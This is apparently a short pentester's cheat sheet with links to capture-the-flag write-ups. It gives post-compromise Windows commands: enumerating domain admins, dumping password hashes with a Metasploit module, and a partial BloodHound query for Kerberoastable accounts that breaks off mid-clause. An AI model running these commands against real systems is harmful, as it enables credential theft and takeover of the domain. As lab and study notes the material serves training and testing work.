

git log --graph --pretty=format:'%C(bold red)%h%C(reset) -%C(bold yellow)%d%C(reset) %s %C(bold green)(%cr)%C(reset) %C(bold blue)<%an>%C(reset)' --abbrev-commit --date=relative |
https://fzl-aws.notion.site/TombWatcher-HTB-20fb231ab1b68048b73bc92c932edfbc |
https://fzl-aws.notion.site/Big-IAM-Challenge-abbf45a087944584958088ff1fb29c87?source=copy_link |
[+] After compromising a Windows machine:
[>] List the domain administrators:
From Shell - net group "Domain Admins" /domain
[>] Dump the hashes (Metasploit)
msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
MATCH (n:Base)
WHERE n.hasspn = true
AND ((
n.supportedencryptiontypes <> ['Not defined']
OR n.supportedencryptiontypes <> []
OR NONE(type IN n.supportedencryptiontypes WHERE type CONTAINS 'AES128' OR type CONTAINS 'AES256')
)
OR (n.pwdlastset < 1204070400 // Password Last Set before Windows Server 2008
AND NOT n.pwdlastset IN [-1.0, 0.0]